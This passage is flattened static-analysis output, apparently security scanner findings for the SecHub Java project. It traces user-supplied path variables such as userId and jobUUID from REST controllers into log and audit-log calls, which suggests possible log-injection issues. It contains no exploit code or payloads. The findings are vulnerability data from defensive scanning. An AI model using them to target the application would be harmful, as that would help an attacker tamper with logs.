+ found + + 5 + + + 48 + User user = saveUserWithNewOneTimeToken(found); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 75 + 58 + 9 + found + + 5 + + + 75 + private User saveUserWithNewOneTimeToken(Optional<User> found) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 78 + 15 + 10 + found + + 5 + + + 78 + User user = found.get(); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 78 + 24 + 11 + get + + 1 + + + 78 + User user = found.get(); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 78 + 8 + 12 + user + + 4 + + + 78 + User user = found.get(); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 84 + 63 + 13 + getName + + 1 + + + 84 + LOG.debug("Updated one time token for user:{}", user.getName()); + + + + + com/daimler/sechub/domain/administration/user/User.java + 106 + 10 + 14 + name + + 4 + + + 106 + return name; + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 84 + 63 + 15 + getName + + 1 + + + 84 + LOG.debug("Updated one time token for user:{}", user.getName()); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 84 + 12 + 16 + debug + + 1 + + + 84 + LOG.debug("Updated one time token for user:{}", user.getName()); + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 61 + 67 + 1 + userId + + 6 + + + 61 + public void acceptUserSignUp(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 63 + 50 + 2 + userId + + 6 + + + 63 + creationService.createUserFromSelfRegistration(userId); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 58 + 52 + 3 + userId + + 6 + + + 58 + public void createUserFromSelfRegistration(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 64 + 93 + 4 + userId + + 6 + + + 64 + LOG.warn("Did not found a self registration for user with name:{}, so skipped creation", userId); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 64 + 12 + 5 + warn + + 1 + + + 64 + LOG.warn("Did not found a self registration for user with name:{}, so skipped creation", userId); + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 61 + 67 + 1 + userId + + 6 + + + 61 + public void acceptUserSignUp(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 63 + 50 + 2 + userId + + 6 + + + 63 + creationService.createUserFromSelfRegistration(userId); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 58 + 52 + 3 + userId + + 6 + + + 58 + public void createUserFromSelfRegistration(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 71 + 6 + 4 + userId + + 6 + + + 71 + userId); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 69 + 12 + 5 + warn + + 1 + + + 69 + LOG.warn( + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 61 + 67 + 1 + userId + + 6 + + + 61 + public void acceptUserSignUp(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 63 + 50 + 2 + userId + + 6 + + + 63 + creationService.createUserFromSelfRegistration(userId); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 58 + 52 + 3 + userId + + 6 + + + 58 + public void createUserFromSelfRegistration(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 82 + 6 + 4 + userId + + 6 + + + 82 + userId, emailAdress); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 80 + 12 + 5 + warn + + 1 + + + 80 + LOG.warn( + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 61 + 67 + 1 + userId + + 6 + + + 61 + public void acceptUserSignUp(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 63 + 50 + 2 + userId + + 6 + + + 63 + creationService.createUserFromSelfRegistration(userId); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 58 + 52 + 3 + userId + + 6 + + + 58 + public void createUserFromSelfRegistration(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 103 + 58 + 4 + userId + + 6 + + + 103 + LOG.debug("Removed self registration data of user:{}", userId); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 103 + 12 + 5 + debug + + 1 + + + 103 + LOG.debug("Removed self registration data of user:{}", userId); + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 61 + 67 + 1 + userId + + 6 + + + 61 + public void acceptUserSignUp(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 63 + 50 + 2 + userId + + 6 + + + 63 + creationService.createUserFromSelfRegistration(userId); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 58 + 52 + 3 + userId + + 6 + + + 58 + public void createUserFromSelfRegistration(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 100 + 38 + 4 + userId + + 6 + + + 100 + LOG.debug("Persisted new user:{}", userId); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 100 + 12 + 5 + debug + + 1 + + + 100 + LOG.debug("Persisted new user:{}", userId); + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 61 + 67 + 1 + userId + + 6 + + + 61 + public void acceptUserSignUp(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 63 + 50 + 2 + userId + + 6 + + + 63 + creationService.createUserFromSelfRegistration(userId); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 58 + 52 + 3 + userId + + 6 + + + 58 + public void createUserFromSelfRegistration(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 59 + 81 + 4 + userId + + 6 + + + 59 + LOG.info("Administrator {} accepts signup of user {}",userContext.getUserId(),userId); + + + + + com/daimler/sechub/domain/administration/user/UserCreationService.java + 59 + 11 + 5 + info + + 1 + + + 59 + LOG.info("Administrator {} accepts signup of user {}",userContext.getUserId(),userId); + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 85 + 83 + 1 + userId + + 6 + + + 85 + public UserDetailInformation showUserDetails(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 87 + 38 + 2 + userId + + 6 + + + 87 + return detailsService.fetchDetails(userId); + + + + + com/daimler/sechub/domain/administration/user/UserDetailInformationService.java + 32 + 51 + 3 + userId + + 6 + + + 32 + public UserDetailInformation fetchDetails(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserDetailInformationService.java + 33 + 49 + 4 + userId + + 6 + + + 33 + LOG.debug("fetching user details for user:{}",userId); + + + + + com/daimler/sechub/domain/administration/user/UserDetailInformationService.java + 33 + 12 + 5 + debug + + 1 + + + 33 + LOG.debug("fetching user details for user:{}",userId); + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 93 + 61 + 1 + userId + + 6 + + + 93 + public void deleteUser(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 95 + 28 + 2 + userId + + 6 + + + 95 + deleteService.deleteUser(userId); + + + + + com/daimler/sechub/domain/administration/user/UserDeleteService.java + 51 + 32 + 3 + userId + + 6 + + + 51 + public void deleteUser(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserDeleteService.java + 52 + 52 + 4 + userId + + 6 + + + 52 + auditLogService.log("Triggers delete of user {}",userId); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 31 + 34 + 5 + objects + + 6 + + + 31 + public void log(String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 29 + 6 + objects + + 7 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 28 + 7 + asList + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 14 + 8 + addAll + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 36 + 9 + list + + 4 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 48 + 10 + toArray + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 11 + 11 + info + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 101 + 72 + 1 + userId + + 6 + + + 101 + public void grantSuperAdminrights(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 103 + 61 + 2 + userId + + 6 + + + 103 + userGrantSuperAdminRightsService.grantSuperAdminRightsFor(userId); + + + + + com/daimler/sechub/domain/administration/user/UserGrantSuperAdminRightsService.java + 48 + 46 + 3 + userId + + 6 + + + 48 + public void grantSuperAdminRightsFor(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserGrantSuperAdminRightsService.java + 49 + 69 + 4 + userId + + 6 + + + 49 + auditLogService.log("Triggered granting admin rights for user {}",userId); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 31 + 34 + 5 + objects + + 6 + + + 31 + public void log(String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 29 + 6 + objects + + 7 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 28 + 7 + asList + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 14 + 8 + addAll + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 36 + 9 + list + + 4 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 48 + 10 + toArray + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 11 + 11 + info + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 109 + 73 + 1 + userId + + 6 + + + 109 + public void revokeSuperAdminrights(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 111 + 64 + 2 + userId + + 6 + + + 111 + userRevokeSuperAdminRightsService.revokeSuperAdminRightsFrom(userId); + + + + + com/daimler/sechub/domain/administration/user/UserRevokeSuperAdminRightsService.java + 50 + 48 + 3 + userId + + 6 + + + 50 + public void revokeSuperAdminRightsFrom(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserRevokeSuperAdminRightsService.java + 51 + 70 + 4 + userId + + 6 + + + 51 + auditLogService.log("Triggered revoking admin rights from user {}",userId); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 31 + 34 + 5 + objects + + 6 + + + 31 + public void log(String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 29 + 6 + objects + + 7 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 28 + 7 + asList + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 14 + 8 + addAll + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 36 + 9 + list + + 4 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 48 + 10 + toArray + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 11 + 11 + info + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 45 + 40 + 1 + sechubJobUUID + + 13 + + + 45 + @PathVariable("sechubJobUUID") UUID sechubJobUUID, HttpServletResponse response + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 50 + 86 + 2 + sechubJobUUID + + 13 + + + 50 + response.setHeader("Content-Disposition", "attachment; filename=full_scandata_"+sechubJobUUID.toString()+".zip"); + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 61 + 77 + 3 + sechubJobUUID + + 13 + + + 61 + auditLogService.log("Is Downloading full scan logs for sechub job {}", sechubJobUUID); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 31 + 34 + 4 + objects + + 6 + + + 31 + public void log(String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 29 + 5 + objects + + 7 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 28 + 6 + asList + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 14 + 7 + addAll + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 36 + 8 + list + + 4 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 48 + 9 + toArray + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 11 + 10 + info + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 51 + 34 + 1 + jobUUID + + 7 + + + 51 + @PathVariable("jobUUID") UUID jobUUID + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 54 + 43 + 2 + jobUUID + + 7 + + + 54 + return fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 73 + 72 + 3 + jobUUID + + 7 + + + 73 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 74 + 63 + 4 + jobUUID + + 7 + + + 74 + return downloadReportService.getScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 39 + 69 + 5 + jobUUID + + 7 + + + 39 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 44 + 64 + 6 + jobUUID + + 7 + + + 44 + auditLogService.log("started download of report for job: {}",jobUUID); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 31 + 34 + 7 + objects + + 6 + + + 31 + public void log(String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 29 + 8 + objects + + 7 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 28 + 9 + asList + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 14 + 10 + addAll + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 36 + 11 + list + + 4 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 48 + 12 + toArray + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 11 + 13 + info + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 64 + 34 + 1 + jobUUID + + 7 + + + 64 + @PathVariable("jobUUID") UUID jobUUID + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 67 + 66 + 2 + jobUUID + + 7 + + + 67 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 73 + 72 + 3 + jobUUID + + 7 + + + 73 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 74 + 63 + 4 + jobUUID + + 7 + + + 74 + return downloadReportService.getScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 39 + 69 + 5 + jobUUID + + 7 + + + 39 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 44 + 64 + 6 + jobUUID + + 7 + + + 44 + auditLogService.log("started download of report for job: {}",jobUUID); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 31 + 34 + 7 + objects + + 6 + + + 31 + public void log(String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 29 + 8 + objects + + 7 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 28 + 9 + asList + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 37 + 14 + 10 + addAll + + 1 + + + 37 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 36 + 11 + list + + 4 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 48 + 12 + toArray + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + com/daimler/sechub/sharedkernel/logging/AuditLogService.java + 39 + 11 + 13 + info + + 1 + + + 39 + LOG.info(AUDIT_USERNAME+message, list.toArray()); + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 101 + 72 + 1 + userId + + 6 + + + 101 + public void grantSuperAdminrights(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 103 + 61 + 2 + userId + + 6 + + + 103 + userGrantSuperAdminRightsService.grantSuperAdminRightsFor(userId); + + + + + com/daimler/sechub/domain/administration/user/UserGrantSuperAdminRightsService.java + 48 + 46 + 3 + userId + + 6 + + + 48 + public void grantSuperAdminRightsFor(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserGrantSuperAdminRightsService.java + 54 + 74 + 4 + userId + + 6 + + + 54 + LOG.info("User:{} was already a super administrator, so just ignored",userId); + + + + + com/daimler/sechub/domain/administration/user/UserGrantSuperAdminRightsService.java + 54 + 12 + 5 + info + + 1 + + + 54 + LOG.info("User:{} was already a super administrator, so just ignored",userId); + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 109 + 73 + 1 + userId + + 6 + + + 109 + public void revokeSuperAdminrights(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 111 + 64 + 2 + userId + + 6 + + + 111 + userRevokeSuperAdminRightsService.revokeSuperAdminRightsFrom(userId); + + + + + com/daimler/sechub/domain/administration/user/UserRevokeSuperAdminRightsService.java + 50 + 48 + 3 + userId + + 6 + + + 50 + public void revokeSuperAdminRightsFrom(String userId) { + + + + + com/daimler/sechub/domain/administration/user/UserRevokeSuperAdminRightsService.java + 57 + 75 + 4 + userId + + 6 + + + 57 + LOG.info("User:{} was already no super administrator, so just ignored",userId); + + + + + com/daimler/sechub/domain/administration/user/UserRevokeSuperAdminRightsService.java + 57 + 12 + 5 + info + + 1 + + + 57 + LOG.info("User:{} was already no super administrator, so just ignored",userId); + + + + + + + + + com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 44 + 86 + 1 + emailAdress + + 11 + + + 44 + public List<SimpleMailMessage> getMailsFor(@PathVariable(name="emailAdress") String emailAdress) { + + + + + com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 46 + 38 + 2 + emailAdress + + 11 + + + 46 + return mockMailService.getMailsFor(emailAdress); + + + + + com/daimler/sechub/domain/notification/email/MockEmailService.java + 49 + 52 + 3 + emailAdress + + 11 + + + 49 + public List<SimpleMailMessage> getMailsFor(String emailAdress) { + + + + + com/daimler/sechub/domain/notification/email/MockEmailService.java + 51 + 90 + 4 + emailAdress + + 11 + + + 51 + LOG.info("cache eimals is disabled, so returning empty mails list for emailAdress:{}",emailAdress); + + + + + com/daimler/sechub/domain/notification/email/MockEmailService.java + 51 + 12 + 5 + info + + 1 + + + 51 + LOG.info("cache eimals is disabled, so returning empty mails list for emailAdress:{}",emailAdress); + + + + + + + + + com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 44 + 86 + 1 + emailAdress + + 11 + + + 44 + public List<SimpleMailMessage> getMailsFor(@PathVariable(name="emailAdress") String emailAdress) { + + + + + com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 46 + 38 + 2 + emailAdress + + 11 + + + 46 + return mockMailService.getMailsFor(emailAdress); + + + + + com/daimler/sechub/domain/notification/email/MockEmailService.java + 49 + 52 + 3 + emailAdress + + 11 + + + 49 + public List<SimpleMailMessage> getMailsFor(String emailAdress) { + + + + + com/daimler/sechub/domain/notification/email/MockEmailService.java + 54 + 27 + 4 + emailAdress + + 11 + + + 54 + return getMailsInternal(emailAdress); + + + + + com/daimler/sechub/domain/notification/email/MockEmailService.java + 57 + 58 + 5 + emailAdress + + 11 + + + 57 + private List<SimpleMailMessage> getMailsInternal(String emailAdress) { + + + + + com/daimler/sechub/domain/notification/email/MockEmailService.java + 59 + 59 + 6 + emailAdress + + 11 + + + 59 + LOG.info("resolved messages:{} for user:{}",list.size(),emailAdress); + + + + + com/daimler/sechub/domain/notification/email/MockEmailService.java + 59 + 11 + 7 + info + + 1 + + + 59 + LOG.info("resolved messages:{} for user:{}",list.size(),emailAdress); + + + + + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 45 + 40 + 1 + sechubJobUUID + + 13 + + + 45 + @PathVariable("sechubJobUUID") UUID sechubJobUUID, HttpServletResponse response + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 50 + 86 + 2 + sechubJobUUID + + 13 + + + 50 + response.setHeader("Content-Disposition", "attachment; filename=full_scandata_"+sechubJobUUID.toString()+".zip"); + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 58 + 74 + 3 + sechubJobUUID + + 13 + + + 58 + LOG.error("Was not able to provide zip file for full scan data of {}",sechubJobUUID, e); + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 58 + 13 + 4 + error + + 1 + + + 58 + LOG.error("Was not able to provide zip file for full scan data of {}",sechubJobUUID, e); + + + + + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 45 + 40 + 1 + sechubJobUUID + + 13 + + + 45 + @PathVariable("sechubJobUUID") UUID sechubJobUUID, HttpServletResponse response + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 50 + 86 + 2 + sechubJobUUID + + 13 + + + 50 + response.setHeader("Content-Disposition", "attachment; filename=full_scandata_"+sechubJobUUID.toString()+".zip"); + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 52 + 70 + 3 + sechubJobUUID + + 13 + + + 52 + FullScanData fullScanData = fullScanDataService.getFullScanData(sechubJobUUID); + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataService.java + 34 + 43 + 4 + sechubJobUUID + + 13 + + + 34 + public FullScanData getFullScanData(UUID sechubJobUUID) { + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataService.java + 39 + 69 + 5 + sechubJobUUID + + 13 + + + 39 + List<ProjectScanLog> logs = projectScanLogService.fetchLogsForJob(sechubJobUUID); + + + + + com/daimler/sechub/domain/scan/log/ProjectScanLogService.java + 71 + 51 + 6 + sechubJobUUID + + 13 + + + 71 + public List<ProjectScanLog> fetchLogsForJob(UUID sechubJobUUID) { + + + + + com/daimler/sechub/domain/scan/log/ProjectScanLogService.java + 73 + 21 + 7 + sechubJobUUID + + 13 + + + 73 + log.sechubJobUUID=sechubJobUUID; + + + + + com/daimler/sechub/domain/scan/log/ProjectScanLogService.java + 73 + 6 + 8 + sechubJobUUID + + 1 + + + 73 + log.sechubJobUUID=sechubJobUUID; + + + + + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 51 + 34 + 1 + jobUUID + + 7 + + + 51 + @PathVariable("jobUUID") UUID jobUUID + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 54 + 43 + 2 + jobUUID + + 7 + + + 54 + return fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 73 + 72 + 3 + jobUUID + + 7 + + + 73 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 74 + 63 + 4 + jobUUID + + 7 + + + 74 + return downloadReportService.getScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 39 + 69 + 5 + jobUUID + + 7 + + + 39 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 60 + 6 + jobUUID + + 7 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 59 + 7 + findBySecHubJobUUID + + 1 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 14 + 8 + report + + 6 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 51 + 31 + 9 + report + + 6 + + + 51 + return new ScanReportResult(report); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 59 + 37 + 10 + report + + 6 + + + 59 + public ScanReportResult(ScanReport report) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 61 + 13 + 11 + report + + 6 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 62 + 18 + 12 + report + + 6 + + + 62 + trafficLight = report.getTrafficLightAsString(); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 64 + 42 + 13 + report + + 6 + + + 64 + result = SecHubResult.OBJECT.fromJSON(report.getResult()); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 70 + 117 + 14 + report + + 6 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + com/daimler/sechub/domain/scan/report/ScanReport.java + 92 + 10 + 15 + result + + 6 + + + 92 + return result; + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 70 + 133 + 16 + getResult + + 1 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 70 + 13 + 17 + error + + 1 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 64 + 34 + 1 + jobUUID + + 7 + + + 64 + @PathVariable("jobUUID") UUID jobUUID + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 67 + 66 + 2 + jobUUID + + 7 + + + 67 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 73 + 72 + 3 + jobUUID + + 7 + + + 73 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 74 + 63 + 4 + jobUUID + + 7 + + + 74 + return downloadReportService.getScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 39 + 69 + 5 + jobUUID + + 7 + + + 39 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 60 + 6 + jobUUID + + 7 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 59 + 7 + findBySecHubJobUUID + + 1 + + + 43 + ScanReport 